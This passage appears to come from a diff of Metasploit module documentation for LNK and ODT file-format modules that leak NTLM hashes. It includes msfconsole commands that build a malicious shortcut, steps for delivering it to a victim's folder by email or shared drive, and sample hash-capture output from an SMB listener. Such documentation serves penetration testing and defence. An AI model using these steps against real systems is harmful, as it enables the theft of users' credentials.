DESCRIPTION => Fake Shortcut
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > set PADDING_SIZE 15
PADDING_SIZE => 15
msf auxiliary(fileformat/iconenvironmentdatablock_lnk) > run
[*] Creating 'leak.lnk' file...
[+] LNK file created: leak.lnk
[*] Listening for hashes on 192.168.1.25:445
[*] Auxiliary module execution completed
```
Deliver `leak.lnk` to a target folder. Browsing the folder triggers an SMB connection:
```
[*] SMB Captured - 2025-09-18 21:07:00 +0530
NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50
USER:victim DOMAIN:VICTIMPC OS: Windows 10 LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:samplehash
NT_CLIENT_CHALLENGE:samplechallenge
```
@@ -20,21 +20,21 @@ without providing any warning to the user. This allows an attacker the opportuni
## Options
**CREATOR**
### CREATOR
This option allows you to customise the document author for the new document:
```
set CREATOR New_User
```
**FILENAME**
### FILENAME
This option allows you to customise the generated filename:
```
set FILENAME salary.odt
```
**LHOST**
### LHOST
This option allows you to set the IP address of the SMB Listener that the .odt document points to:
@@ -0,0 +1,72 @@
## Vulnerable Application
Windows operating systems that process LNK files via Explorer, particularly when browsing directories containing the malicious shortcut.
This can lead to NTLM credential leaks over SMB.
References:
- [Right-Click LNK](https://zeifan.my/Right-Click-LNK/)
- [Exploit-DB 42382](https://www.exploit-db.com/exploits/42382)
Disclosure Date: 2025-05-10 (reported to MSRC).
## Verification Steps
1. Start msfconsole.
2. Load the module: `use auxiliary/fileformat/specialfolderdatablock_lnk`.
3. Customize options as needed (e.g., set FILENAME or APPNAME).
4. Execute the module: `run`.
5. A malicious LNK file will be generated.
6. If not using a custom UNCPATH, the module starts an SMB capture server automatically.
7. Place the LNK file in a directory on the target system.
8. Browse to the directory in Windows Explorer to trigger the SMB connection.
9. Monitor the console for captured NTLM hashes.
## Options
### APPNAME
Sets the display name of the application in the LNK file. If empty, a random name is generated.
Example:
```
set APPNAME FakeApp
```
## Scenarios
### Basic NTLM Hash Capture on Windows
Target: A Windows system with Explorer (e.g., Windows 10 or later).
Attacker: Use the module to generate the LNK and capture hashes locally.
```
msf > use auxiliary/fileformat/specialfolderdatablock_lnk
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set FILENAME malicious.lnk
FILENAME => malicious.lnk
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set SRVHOST 192.168.1.25
SRVHOST => 192.168.1.25
msf auxiliary(fileformat/specialfolderdatablock_lnk) > set APPNAME FakeApp
APPNAME => FakeApp
msf auxiliary(fileformat/specialfolderdatablock_lnk) > run
[*] Starting SMB server on 192.168.1.25:445
[*] Generating malicious LNK file
[+] malicious.lnk stored at /root/.msf4/local/malicious.lnk
[*] Listening for hashes on 192.168.1.25:445
[*] Auxiliary module execution completed
```
Deliver the `malicious.lnk` file to the target (e.g., via email or shared drive).
When the victim opens the containing folder in Explorer, an SMB connection is attempted:
```
[*] SMB Captured - 2025-09-18 21:03:00 +0530
NTLMv2 Response Captured from 192.168.1.50:49180 - 192.168.1.50
USER:targetuser DOMAIN:TARGETPC OS: Windows 10 LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:examplehashvalue
NT_CLIENT_CHALLENGE:examplechallenge
```

Some files were not shown because too many files have changed in this diff Show More